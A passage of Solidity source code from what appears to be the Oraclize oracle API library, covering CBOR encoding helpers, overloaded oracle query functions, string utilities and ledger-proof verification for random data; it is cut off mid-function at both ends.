function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
